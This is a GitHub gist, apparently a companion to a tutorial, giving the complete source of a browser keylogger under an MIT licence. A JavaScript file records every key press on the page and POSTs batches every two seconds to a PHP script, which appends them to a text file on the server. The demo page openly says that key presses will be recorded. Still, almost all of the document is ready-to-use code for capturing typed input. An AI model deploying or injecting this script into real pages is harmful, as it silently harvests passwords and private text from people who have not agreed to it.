Skip to content

Instantly share code, notes, and snippets.

@code-boxx
Created June 15, 2023 11:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save code-boxx/3712c8d1a26571b813e7be17951f21ec to your computer and use it in GitHub Desktop.
Save code-boxx/3712c8d1a26571b813e7be17951f21ec to your computer and use it in GitHub Desktop.
Javascript PHP Keylogger

JAVASCRIPT PHP KEYLOGGER

https://code-boxx.com/simple-keylogger-javascript-php/

LICENSE

Copyright by Code Boxx

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

<!DOCTYPE html>
<html>
<head>
<title>JS PHP Keylog</title>
<meta charset="utf-8">
<script src="keylog.js"></script>
</head>
<body>
<h1>All key presses will be recorded!</h1>
<textarea></textarea>
</body>
</html>
var keylog = {
// (A) SETTINGS & PROPERTIES
cache : [], // temp storage for key presses
delay : 2000, // how often to send data to server
sending : false, // flag to allow 1 upload at a time
// (B) INITIALIZE
init : () => {
// (B1) CAPTURE KEY STROKES
window.addEventListener("keydown", evt => keylog.cache.push(evt.key));
// (B2) SEND KEYSTROKES TO SERVER
window.setInterval(keylog.send, keylog.delay);
},
// (C) AJAX SEND KEYSTROKES
send : () => { if (!keylog.sending && keylog.cache.length != 0) {
// (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
keylog.sending = true;
// (C2) KEYPRESS DATA
var data = new FormData();
data.append("keys", JSON.stringify(keylog.cache));
keylog.cache = []; // clear keys
// (C3) FECTH SEND
fetch("keylog.php", { method:"POST", body:data })
.then(res=>res.text()).then(res => {
keylog.sending = false; // unlock
console.log(res); // optional
})
.catch(err => console.error(err));
}}
};
window.addEventListener("DOMContentLoaded", keylog.init);
<?php
// (A) OPEN KEYLOG FILE, APPEND MODE
$file = fopen("keylog.txt", "a+");
// (B) SAVE KEYSTROKES
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }
// (C) CLOSE & END
fclose($file);
echo "OK";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment